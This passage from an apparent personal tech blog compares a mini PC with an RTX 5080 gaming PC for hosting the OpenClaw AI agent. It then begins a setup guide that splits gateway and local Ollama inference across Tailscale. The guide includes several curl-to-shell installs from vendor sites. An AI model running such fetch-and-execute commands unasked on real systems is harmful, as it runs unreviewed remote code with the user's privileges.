      <td>AMD Ryzen 9 8945HS (8C/16T, Zen 4, up to 5.2GHz)</td>
      <td>AMD Ryzen 7 7800X3D (8C/16T, Zen 4 + 3D V-Cache, up to 5.0GHz)</td>
      <td>Both are 8-core Zen 4. The 7800X3D’s 96MB of 3D V-Cache is a gaming advantage but provides negligible benefit for agent orchestration or LLM inference. The 8945HS’s slightly higher boost clock is irrelevant in practice — neither CPU will be the bottleneck.</td>
    </tr>
    <tr>
      <td><strong>GPU</strong></td>
      <td>AMD Radeon 780M (integrated, RDNA 3)</td>
      <td><strong>Nvidia GeForce RTX 5080 (16GB GDDR7, 10,752 CUDA cores, Blackwell)</strong></td>
      <td>This is the defining difference. The RTX 5080 enables CUDA-accelerated local LLM inference via Ollama/llama.cpp at speeds that make local models genuinely usable. The 780M iGPU cannot run anything beyond toy-sized models at acceptable token rates.</td>
    </tr>
    <tr>
      <td><strong>RAM</strong></td>
      <td>32GB DDR5 5600MT/s</td>
      <td><strong>64GB DDR5 5200MT/s</strong></td>
      <td>64GB provides substantial headroom for simultaneous local LLM inference + OpenClaw gateway + browser automation + monitoring stack.</td>
    </tr>
    <tr>
      <td><strong>VRAM</strong></td>
      <td>Shared from system RAM</td>
      <td><strong>16GB GDDR7 (dedicated)</strong></td>
      <td>16GB of dedicated VRAM comfortably hosts quantized 7B–14B parameter models entirely on-GPU. No system RAM competition, no unified memory contention.</td>
    </tr>
    <tr>
      <td><strong>Storage</strong></td>
      <td>4TB NVMe PCIe 4.0</td>
      <td>4TB NVMe PCIe 4.0</td>
      <td>Parity. Both provide ample runway for model weights, workspace logs, skill caches, and memory databases.</td>
    </tr>
    <tr>
      <td><strong>NPU</strong></td>
      <td>AMD XDNA (~16 TOPS)</td>
      <td>None</td>
      <td>The UM890 Pro’s NPU is accessible via open-source ML frameworks but delivers marginal throughput compared to a discrete GPU with 10,752 CUDA cores.</td>
    </tr>
    <tr>
      <td><strong>Expansion</strong></td>
      <td>OCuLink (PCIe 4.0 x4)</td>
      <td>Full PCIe 5.0 x16 slot (occupied by RTX 5080)</td>
      <td>The gaming PC already has the discrete GPU installed. The UM890 Pro’s OCuLink port could theoretically connect an eGPU, but that adds cost and complexity.</td>
    </tr>
    <tr>
      <td><strong>Power Draw</strong></td>
      <td>~60–70W (full system)</td>
      <td><strong>~500W+ under load</strong> (105W CPU TDP + 360W GPU TDP + system overhead)</td>
      <td>The gaming PC draws roughly <strong>7–8x the power</strong> of the UM890 Pro. At California electricity rates, this adds up fast for a 24/7 appliance.</td>
    </tr>
    <tr>
      <td><strong>Noise</strong></td>
      <td>Near-silent at idle</td>
      <td>Multiple case fans + GPU cooler</td>
      <td>The gaming PC is not a quiet machine. It is not something you want humming in a closet or on a desk 24/7.</td>
    </tr>
    <tr>
      <td><strong>Form Factor</strong></td>
      <td>~0.5L mini PC, VESA mountable</td>
      <td>Full tower desktop</td>
      <td>The UM890 Pro disappears behind a monitor. The gaming PC occupies serious desk or floor real estate.</td>
    </tr>
  </tbody>
</table>

<h2 id="where-the-gpu-changes-everything-local-llm-inference">Where the GPU Changes Everything: Local LLM Inference</h2>

<p>In my previous post, I treated OpenClaw primarily as a <strong>cloud-API orchestration layer</strong> — the gateway talks to Anthropic’s Claude or OpenAI’s GPT, and the local hardware just needs to keep the Node.js process, Docker containers, and browser automation running smoothly. For that workload, the UM890 Pro is more than sufficient.</p>

<p>But the OpenClaw ecosystem has matured rapidly. Ollama became an official OpenClaw provider in March 2026, and the Qwen 3.5 model family has shifted the cost-benefit analysis of local inference. Running a capable local model means:</p>

<ul>
  <li><strong>Zero per-token API costs</strong> for routine tasks (file reads, simple edits, boilerplate generation).</li>
  <li><strong>Complete data privacy</strong> — nothing leaves your machine.</li>
  <li><strong>No network dependency</strong> — the agent works even if your internet drops.</li>
  <li><strong>Hybrid routing</strong> — use local models for the cheap stuff, cloud APIs for hard reasoning.</li>
</ul>

<h3 id="what-can-each-machine-actually-run-locally">What Can Each Machine Actually Run Locally?</h3>

<p>This is where the RTX 5080’s 16GB of GDDR7 VRAM becomes decisive.</p>

<table>
  <thead>
    <tr>
      <th>Model</th>
      <th>Size (Q4_K_M)</th>
      <th>UM890 Pro (CPU inference via 780M/system RAM)</th>
      <th>Gaming PC (CUDA inference via RTX 5080)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Qwen 3.5 9B</strong></td>
      <td>~5GB</td>
      <td>~8–12 tok/s (CPU-bound, painful)</td>
      <td>~80–100+ tok/s (fully GPU-offloaded)</td>
    </tr>
    <tr>
      <td><strong>Qwen 3.5 27B</strong></td>
      <td>~16GB</td>
      <td>Barely feasible, ~2–4 tok/s with heavy swapping</td>
      <td>~30–40 tok/s (fits entirely in 16GB VRAM)</td>
    </tr>
    <tr>
      <td><strong>Qwen 3.5 35B-A3B (MoE)</strong></td>
      <td>~20GB</td>
      <td>Not practical</td>
      <td>~50–70 tok/s (only 3B params active per pass, fits in VRAM)</td>
    </tr>
    <tr>
      <td><strong>Llama 3.3 70B</strong></td>
      <td>~40GB</td>
      <td>Impossible</td>
      <td>Partial offload — ~10–15 tok/s (spills to system RAM)</td>
    </tr>
  </tbody>
</table>

<p>The UM890 Pro can technically run a 7B–9B model via CPU inference, but the token generation speed makes it impractical for interactive agent work. You’re looking at multi-second delays per response, which compounds painfully when the agent is chaining tool calls.</p>

<p>The gaming PC with the RTX 5080 runs the <strong>Qwen 3.5 27B</strong> — a model that scores comparably to GPT-4-class outputs on coding benchmarks — <strong>entirely in VRAM at usable interactive speeds</strong>. This is the single biggest differentiator.</p>

<h3 id="the-hybrid-model-where-cost-savings-get-real">The Hybrid Model: Where Cost Savings Get Real</h3>

<p>The OpenClaw community has converged on a hybrid inference pattern that the gaming PC enables beautifully:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"agents"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"model"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"primary"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama/qwen3.5:27b"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"thinking"</span><span class="p">:</span><span class="w"> </span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The local Qwen 3.5 27B handles file reads, simple edits, boilerplate generation, and routine tool calls — roughly 60–70% of a typical agent session. Claude Sonnet handles the hard reasoning, multi-file architecture decisions, and complex debugging. Community reports suggest this hybrid approach drops daily API spend from $20–50 down to a few dollars.</p>

<p>On the UM890 Pro, this hybrid pattern is technically possible with a 9B model as the local tier, but the quality gap between 9B and 27B is significant enough that you end up routing far more tasks to the cloud API, negating much of the cost benefit.</p>

<h2 id="where-the-um890-pro-still-wins">Where the UM890 Pro Still Wins</h2>

<p>The GPU advantage is real, but it doesn’t make the UM890 Pro irrelevant. Several factors still favor the mini PC.</p>

<h3 id="power-consumption-and-247-viability">Power Consumption and 24/7 Viability</h3>

<p>OpenClaw’s core value proposition is an <strong>always-on agent</strong>. It checks your email overnight, monitors projects, sends reminders, and handles asynchronous workflows. This means the host machine runs 24/7/365.</p>

<p>Running the numbers for California electricity rates (~$0.30/kWh):</p>

<table>
  <thead>
    <tr>
      <th>Machine</th>
      <th>Estimated Idle Draw</th>
      <th>Estimated Active Draw</th>
      <th>Monthly Cost (24/7 idle)</th>
      <th>Monthly Cost (24/7 active)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>UM890 Pro</td>
      <td>~15W</td>
      <td>~60W</td>
      <td><strong>~$3.24</strong></td>
      <td><strong>~$12.96</strong></td>
    </tr>
    <tr>
      <td>Gaming PC</td>
      <td>~80W</td>
      <td>~350W+</td>
      <td><strong>~$17.28</strong></td>
      <td><strong>~$75.60</strong></td>
    </tr>
  </tbody>
</table>

<p>Over a year, the gaming PC costs roughly <strong>$170–$900 more in electricity</strong> depending on utilization. That’s real money — potentially more than the API costs the local LLM inference is saving you.</p>

<h3 id="noise-and-physical-footprint">Noise and Physical Footprint</h3>

<p>The UM890 Pro is near-silent at idle and can be VESA-mounted behind a monitor. It disappears. The gaming PC has multiple case fans, a CPU cooler, and a GPU with a substantial cooling solution. Even at idle, it produces audible noise. For a 24/7 appliance that might live in a home office or closet, this matters.</p>

<h3 id="native-linux-security-model">Native Linux Security Model</h3>

<p>Both machines can run Ubuntu Server 24.04 LTS, so the hardened deployment architecture from my previous post — rootless Docker, <code class="language-plaintext highlighter-rouge">--cap-drop=ALL</code>, dedicated <code class="language-plaintext highlighter-rouge">openclaw</code> user, Tailscale-only remote access — applies equally to both. No advantage either way here.</p>

<h3 id="simplicity-and-reliability">Simplicity and Reliability</h3>

<p>The UM890 Pro has no discrete GPU driver stack to maintain. No CUDA toolkit updates. No GPU firmware issues. Fewer moving parts (literally — smaller fans, lower thermal load) means fewer failure modes for a long-running appliance. The gaming PC’s RTX 5080 adds Nvidia driver management, CUDA version compatibility with Ollama/llama.cpp, and potential thermal throttling concerns in an enclosed space.</p>

<h2 id="the-verdict-it-depends-on-your-inference-strategy">The Verdict: It Depends on Your Inference Strategy</h2>

<p>This isn’t a simple “Machine A is better” conclusion. The right choice depends entirely on <strong>how you plan to use OpenClaw’s inference pipeline</strong>.</p>

<h3 id="choose-the-gaming-pc-7800x3d--rtx-5080-if">Choose the Gaming PC (7800X3D + RTX 5080) if:</h3>

<ul>
  <li>You want to run <strong>local LLM inference</strong> as a primary or hybrid model provider.</li>
  <li>You’re serious about <strong>data privacy</strong> — nothing leaving your network, ever.</li>
  <li>You want to experiment with <strong>larger models</strong> (27B–35B parameter range) at interactive speeds.</li>
  <li>You’re comfortable managing the <strong>Nvidia driver and CUDA stack</strong> on Linux.</li>
  <li>The machine will be in a location where <strong>noise and power draw</strong> are acceptable (garage, dedicated server closet, basement).</li>
  <li>You value <strong>reducing ongoing API costs</strong> over minimizing electricity costs.</li>
</ul>

<h3 id="choose-the-um890-pro-if">Choose the UM890 Pro if:</h3>

<ul>
  <li>You’re running OpenClaw primarily as a <strong>cloud-API orchestration gateway</strong> (Claude, GPT-4, etc.).</li>
  <li><strong>Always-on, silent, low-power operation</strong> is a priority — the agent runs in your home office or living space.</li>
  <li>You want an <strong>appliance-like deployment</strong> with minimal maintenance overhead.</li>
  <li>You prefer to keep things <strong>simple</strong> — no GPU drivers, no CUDA, no thermal management concerns.</li>
  <li><strong>Electricity cost</strong> is a meaningful factor in your decision.</li>
</ul>

<h2 id="my-plan-why-not-both">My Plan: Why Not Both?</h2>

<p>Here’s what I’m actually going to do. The gaming PC becomes the <strong>local inference server</strong> — running Ollama with the Qwen 3.5 27B model, exposed only on the Tailscale network at a fixed IP. The UM890 Pro remains the <strong>hardened OpenClaw gateway appliance</strong> — running the agent, Docker sandbox, browser automation, and all messaging channel integrations.</p>

<p>The OpenClaw config on the UM890 Pro points to the gaming PC’s Ollama endpoint for local inference and falls back to Claude Sonnet for complex tasks:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"agents"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"model"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"primary"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama/qwen3.5:27b"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"thinking"</span><span class="p">:</span><span class="w"> </span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"providers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"ollama"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"baseUrl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://100.x.x.x:11434"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This gives me the best of both worlds:</p>

<ul>
  <li>The <strong>UM890 Pro</strong> handles the security-critical gateway role — minimal attack surface, native Linux containers, low power, silent, always-on.</li>
  <li>The <strong>Gaming PC</strong> handles the compute-heavy inference role — 16GB of VRAM running a 27B model at interactive speeds, and it can be powered down when not needed to save electricity.</li>
  <li><strong>Tailscale</strong> ties them together securely — no ports exposed to the internet, WireGuard encryption in transit, and both machines are already on my Tailscale network.</li>
</ul>

<p>The separation of concerns also means if the inference server goes down (GPU driver update, thermal issue, power outage), the OpenClaw gateway on the UM890 Pro gracefully falls back to cloud APIs. The agent never stops working.</p>

<h2 id="final-thoughts">Final Thoughts</h2>

<p>The original question — “which machine is better for OpenClaw?” — turns out to be the wrong question. The right question is: <strong>what role does each machine play in a well-architected agent deployment?</strong></p>

<p>A discrete GPU with 16GB of VRAM is a genuine game-changer for local LLM inference. It transforms OpenClaw from a cloud-API relay into a hybrid system where the majority of inference happens locally, privately, and at zero marginal cost. But the GPU doesn’t make the machine a better <em>gateway</em>. The gateway role — always-on, secure, reliable, low-power — is still better served by the compact, silent, efficient mini PC.</p>

<p>If you only have one machine and you want local inference, the gaming PC wins decisively. If you only have one machine and you’re happy with cloud APIs, the UM890 Pro wins on efficiency, noise, and simplicity. If you have both, split the roles and let each machine do what it’s best at.</p>

<p>The lobster doesn’t care which shell it lives in. But it helps to give it the right one for each claw.</p>]]></content><author><name>Prathamesh Shetye</name></author><category term="homelab" /><category term="ai" /><category term="openclaw" /><category term="openclaw" /><category term="hardware" /><category term="minisforum" /><category term="um890-pro" /><category term="rtx-5080" /><category term="7800x3d" /><category term="local-llm" /><category term="ai-agents" /><category term="ollama" /><summary type="html"><![CDATA[In my previous post, I made the case for the Minisforum UM890 Pro as a dedicated, hardened OpenClaw appliance — comparing it against the Mac Mini M4 and concluding that native Linux containers, 32GB of DDR5, and 4TB of NVMe runway made it the better fit for autonomous agent workloads. That analysis assumed a choice between two compact, low-power machines.]]></summary></entry><entry><title type="html">Building a Split-Brain OpenClaw Deployment: Gateway + Inference Server Over Tailscale</title><link href="https://prathamesh.dev/2026/03/31/openclaw-split-deployment-guide/" rel="alternate" type="text/html" title="Building a Split-Brain OpenClaw Deployment: Gateway + Inference Server Over Tailscale" /><published>2026-03-31T00:00:00+00:00</published><updated>2026-03-31T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/03/31/openclaw-split-deployment-guide</id><content type="html" xml:base="https://prathamesh.dev/2026/03/31/openclaw-split-deployment-guide/"><![CDATA[<p>In my <a href="/2026/03/31/openclaw-um890-vs-gaming-pc/">previous post</a>, I compared the Minisforum UM890 Pro against a gaming PC (7800X3D + RTX 5080) for running OpenClaw, and concluded that the best approach is to split the roles: the UM890 Pro as the hardened always-on gateway, and the gaming PC as the GPU-accelerated inference server. This post is the full implementation guide — step-by-step, command-by-command — for anyone who wants to replicate this architecture across two Linux machines connected over Tailscale.</p>

<h2 id="architecture-overview">Architecture Overview</h2>

<p>The design has two machines with distinct roles, connected over a Tailscale WireGuard mesh:</p>

<p><strong>Machine A — UM890 Pro (Gateway Appliance)</strong></p>
<ul>
  <li>Runs Ubuntu Server 24.04 LTS</li>
  <li>Hosts the OpenClaw gateway process inside a hardened Docker container</li>
  <li>Handles all messaging channels (WhatsApp, Telegram, Discord, etc.)</li>
  <li>Runs browser automation, cron jobs, and skill execution</li>
  <li>Points to Machine B for local LLM inference</li>
  <li>Falls back to cloud APIs (Claude Sonnet) when Machine B is unavailable</li>
  <li>Always-on, low power (~15W idle), near-silent</li>
</ul>

<p><strong>Machine B — Gaming PC (Inference Server)</strong></p>
<ul>
  <li>Runs Ubuntu Server 24.04 LTS</li>
  <li>Hosts Ollama with Nvidia CUDA acceleration (RTX 5080, 16GB VRAM)</li>
  <li>Serves Qwen 3.5 27B (Q4_K_M quantization) over the native Ollama API</li>
  <li>Listens only on the Tailscale interface — not exposed to LAN or internet</li>
  <li>Can be powered down when not needed; the gateway degrades gracefully to cloud APIs</li>
</ul>

<p><strong>Network Glue — Tailscale</strong></p>
<ul>
  <li>Both machines join the same Tailscale tailnet</li>
  <li>All traffic between them is end-to-end encrypted via WireGuard</li>
  <li>No port forwarding, no public IP exposure</li>
  <li>Tailscale ACLs restrict which devices can reach the Ollama port</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──────────────────────┐       Tailscale (WireGuard)       ┌──────────────────────┐
│   UM890 Pro          │◄─────────────────────────────────► │   Gaming PC          │
│   (Gateway)          │    100.x.x.1 ◄──► 100.x.x.2      │   (Inference)        │
│                      │                                    │                      │
│  OpenClaw Gateway    │   ollama/qwen3.5:27b @ :11434     │  Ollama + CUDA       │
│  Docker (rootless)   │──────────────────────────────────► │  RTX 5080 (16GB)     │
│  Browser automation  │                                    │  Qwen 3.5 27B        │
│  Messaging channels  │   fallback: Claude Sonnet (cloud)  │                      │
│  Netdata monitoring  │                                    │  Netdata monitoring   │
└──────────────────────┘                                    └──────────────────────┘
</code></pre></div></div>

<h2 id="phase-1-base-os-installation-both-machines">Phase 1: Base OS Installation (Both Machines)</h2>

<p>Both machines get a clean Ubuntu Server 24.04 LTS minimal install. No desktop environment — this is headless server territory.</p>

<h3 id="11-install-ubuntu-server-2404-lts">1.1 Install Ubuntu Server 24.04 LTS</h3>

<p>Flash the Ubuntu Server 24.04 LTS ISO to a USB drive and install on both machines. During installation:</p>

<ul>
  <li>Choose <strong>minimal server install</strong> (no snaps, no desktop)</li>
  <li>Create a non-root user (e.g., <code class="language-plaintext highlighter-rouge">prathamesh</code>)</li>
  <li>Enable OpenSSH server during install</li>
  <li>Use the full 4TB NVMe as a single ext4 partition (or LVM if you prefer flexibility)</li>
</ul>

<h3 id="12-post-install-baseline-both-machines">1.2 Post-Install Baseline (Both Machines)</h3>

<p>After first boot, SSH in and run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Update system packages</span>
<span class="nb">sudo </span>apt update <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>apt upgrade <span class="nt">-y</span>

<span class="c"># Install essential tools</span>
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> curl wget git htop tmux ufw net-tools

<span class="c"># Set timezone</span>
<span class="nb">sudo </span>timedatectl set-timezone America/Los_Angeles

<span class="c"># Enable automatic security updates</span>
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> unattended-upgrades
<span class="nb">sudo </span>dpkg-reconfigure <span class="nt">-plow</span> unattended-upgrades
</code></pre></div></div>

<h3 id="13-configure-ufw-firewall-both-machines">1.3 Configure UFW Firewall (Both Machines)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Default deny inbound, allow outbound</span>
<span class="nb">sudo </span>ufw default deny incoming
<span class="nb">sudo </span>ufw default allow outgoing

<span class="c"># Allow SSH</span>
<span class="nb">sudo </span>ufw allow ssh

<span class="c"># Enable the firewall</span>
<span class="nb">sudo </span>ufw <span class="nb">enable
sudo </span>ufw status verbose
</code></pre></div></div>

<p>We will add Tailscale-specific rules later.</p>

<h3 id="14-install-tailscale-both-machines">1.4 Install Tailscale (Both Machines)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install Tailscale</span>
curl <span class="nt">-fsSL</span> https://tailscale.com/install.sh | sh

<span class="c"># Bring Tailscale up and authenticate</span>
<span class="nb">sudo </span>tailscale up

<span class="c"># Note the Tailscale IP for each machine</span>
tailscale ip <span class="nt">-4</span>
</code></pre></div></div>

<p>After running <code class="language-plaintext highlighter-rouge">tailscale up</code> on both machines and authenticating with the same Tailscale account, note the Tailscale IPs. For the rest of this guide, I’ll use:</p>

<ul>
  <li><strong>UM890 Pro (Gateway):</strong> <code class="language-plaintext highlighter-rouge">100.x.x.1</code></li>
  <li><strong>Gaming PC (Inference):</strong> <code class="language-plaintext highlighter-rouge">100.x.x.2</code></li>
</ul>

<p>Replace these with your actual Tailscale IPs.</p>

<h3 id="15-verify-connectivity">1.5 Verify Connectivity</h3>

<p>From the UM890 Pro:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping 100.x.x.2  <span class="c"># Should succeed</span>
</code></pre></div></div>

<p>From the Gaming PC:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping 100.x.x.1  <span class="c"># Should succeed</span>
</code></pre></div></div>

<h2 id="phase-2-gaming-pc--inference-server-setup">Phase 2: Gaming PC — Inference Server Setup</h2>

<p>This is where the RTX 5080 earns its keep.</p>

<h3 id="21-install-nvidia-drivers">2.1 Install Nvidia Drivers</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check that the GPU is visible on the PCI bus</span>
lspci | <span class="nb">grep</span> <span class="nt">-i</span> nvidia

<span class="c"># Install the recommended driver automatically</span>
<span class="nb">sudo </span>ubuntu-drivers autoinstall

<span class="c"># Reboot</span>
<span class="nb">sudo </span>reboot
</code></pre></div></div>

<p>After reboot, verify:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nvidia-smi
</code></pre></div></div>

<p>You should see the RTX 5080 listed with the driver version and CUDA version. If <code class="language-plaintext highlighter-rouge">nvidia-smi</code> fails, troubleshoot before proceeding — Ollama will silently fall back to CPU inference without working drivers, and you’ll get 3 tok/s instead of 40.</p>

<h3 id="22-install-ollama">2.2 Install Ollama</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-fsSL</span> https://ollama.com/install.sh | sh
</code></pre></div></div>

<p>Verify it’s running:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl status ollama
ollama <span class="nt">--version</span>
</code></pre></div></div>

<h3 id="23-pull-the-qwen-35-27b-model">2.3 Pull the Qwen 3.5 27B Model</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ollama pull qwen3.5:27b
</code></pre></div></div>

<p>This downloads the Q4_K_M quantized version (~16GB). It will fit entirely in the RTX 5080’s 16GB VRAM. The download may take a while depending on your internet connection.</p>

<p>Verify it’s available:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ollama list
</code></pre></div></div>

<h3 id="24-test-local-inference">2.4 Test Local Inference</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ollama run qwen3.5:27b <span class="s2">"Hello, what model are you?"</span>
</code></pre></div></div>

<p>While this runs, open another terminal and check GPU utilization:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nvidia-smi
</code></pre></div></div>

<p>You should see VRAM usage spike as the model loads. If VRAM stays at 0 and CPU is pegged, the Nvidia drivers aren’t being detected — go back to step 2.1.</p>

<h3 id="25-bind-ollama-to-the-tailscale-interface">2.5 Bind Ollama to the Tailscale Interface</h3>

<p>By default, Ollama only listens on <code class="language-plaintext highlighter-rouge">127.0.0.1:11434</code>. We need it to listen on the Tailscale interface so the UM890 Pro can reach it. The most secure approach is to bind specifically to the Tailscale IP rather than <code class="language-plaintext highlighter-rouge">0.0.0.0</code>.</p>

<p>Create a systemd override:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl edit ollama
</code></pre></div></div>

<p>This opens an editor. Add the following in the override block:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Service]</span>
<span class="py">Environment</span><span class="p">=</span><span class="s">"OLLAMA_HOST=100.x.x.2:11434"</span>
</code></pre></div></div>

<p>Replace <code class="language-plaintext highlighter-rouge">100.x.x.2</code> with the gaming PC’s actual Tailscale IP. Save and exit, then reload:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl daemon-reload
<span class="nb">sudo </span>systemctl restart ollama
</code></pre></div></div>

<p><strong>Important:</strong> Binding to the Tailscale IP means Ollama only accepts connections from the Tailscale interface. It won’t be reachable from your LAN or the public internet. This is exactly what we want.</p>

<p><strong>Caveat:</strong> If the Tailscale IP changes (which is rare but possible), you’ll need to update this. An alternative is to bind to <code class="language-plaintext highlighter-rouge">0.0.0.0</code> and use UFW to restrict access:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Alternative: bind to all interfaces but firewall to Tailscale only</span>
<span class="c"># In the systemd override, use:</span>
<span class="c"># Environment="OLLAMA_HOST=0.0.0.0:11434"</span>

<span class="c"># Then restrict with UFW:</span>
<span class="nb">sudo </span>ufw allow <span class="k">in </span>on tailscale0 to any port 11434
<span class="nb">sudo </span>ufw deny 11434
</code></pre></div></div>

<h3 id="26-verify-remote-access">2.6 Verify Remote Access</h3>

<p>From the <strong>UM890 Pro</strong>, test that Ollama is reachable over Tailscale:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://100.x.x.2:11434/api/tags
</code></pre></div></div>

<p>You should get a JSON response listing the <code class="language-plaintext highlighter-rouge">qwen3.5:27b</code> model. If you get “connection refused,” check that:</p>
<ol>
  <li>Ollama is running (<code class="language-plaintext highlighter-rouge">systemctl status ollama</code>)</li>
  <li>The <code class="language-plaintext highlighter-rouge">OLLAMA_HOST</code> is set correctly (<code class="language-plaintext highlighter-rouge">grep -i host /etc/systemd/system/ollama.service.d/override.conf</code>)</li>
  <li>Tailscale is connected on both machines (<code class="language-plaintext highlighter-rouge">tailscale status</code>)</li>
</ol>

<h2 id="phase-3-um890-pro--gateway-appliance-setup">Phase 3: UM890 Pro — Gateway Appliance Setup</h2>

<h3 id="31-create-dedicated-openclaw-user">3.1 Create Dedicated OpenClaw User</h3>

<p>Following the defense-in-depth model from my <a href="/2026/03/25/hardware-for-openclaw/">earlier post</a>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Create a dedicated user with no sudo privileges</span>
<span class="nb">sudo </span>adduser <span class="nt">--disabled-password</span> <span class="nt">--gecos</span> <span class="s2">"OpenClaw Agent"</span> openclaw

<span class="c"># Set a strong password (needed for su access if debugging)</span>
<span class="nb">sudo </span>passwd openclaw
</code></pre></div></div>

<h3 id="32-install-docker-engine-rootless-mode">3.2 Install Docker Engine (Rootless Mode)</h3>

<p>We install Docker Engine — not Docker Desktop — and configure rootless mode for enhanced isolation.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install prerequisites</span>
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> ca-certificates gnupg uidmap

<span class="c"># Add Docker's official GPG key and repository</span>
<span class="nb">sudo install</span> <span class="nt">-m</span> 0755 <span class="nt">-d</span> /etc/apt/keyrings
curl <span class="nt">-fsSL</span> https://download.docker.com/linux/ubuntu/gpg | <span class="nb">sudo </span>gpg <span class="nt">--dearmor</span> <span class="nt">-o</span> /etc/apt/keyrings/docker.gpg
<span class="nb">sudo chmod </span>a+r /etc/apt/keyrings/docker.gpg

<span class="nb">echo</span> <span class="se">\</span>
  <span class="s2">"deb [arch=</span><span class="si">$(</span>dpkg <span class="nt">--print-architecture</span><span class="si">)</span><span class="s2"> signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu </span><span class="se">\</span><span class="s2">
  </span><span class="si">$(</span><span class="nb">.</span> /etc/os-release <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$VERSION_CODENAME</span><span class="s2">"</span><span class="si">)</span><span class="s2"> stable"</span> | <span class="se">\</span>
  <span class="nb">sudo tee</span> /etc/apt/sources.list.d/docker.list <span class="o">&gt;</span> /dev/null

<span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

<span class="c"># Install rootless Docker for the openclaw user</span>
<span class="nb">sudo </span>loginctl enable-linger openclaw
<span class="nb">sudo</span> <span class="nt">-u</span> openclaw <span class="nt">-i</span> dockerd-rootless-setuptool.sh <span class="nb">install</span>
</code></pre></div></div>

<h3 id="33-install-nodejs-24">3.3 Install Node.js 24</h3>

<p>OpenClaw requires Node 24 (recommended) or Node 22.14+:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Switch to the openclaw user</span>
<span class="nb">sudo</span> <span class="nt">-u</span> openclaw <span class="nt">-i</span>

<span class="c"># Install Node.js via nvm (recommended for non-root installs)</span>
curl <span class="nt">-o-</span> https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash
<span class="nb">source</span> ~/.bashrc
nvm <span class="nb">install </span>24
node <span class="nt">-v</span>  <span class="c"># Should show v24.x.x</span>
</code></pre></div></div>

<h3 id="34-install-openclaw">3.4 Install OpenClaw</h3>

<p>As the <code class="language-plaintext highlighter-rouge">openclaw</code> user:</p>

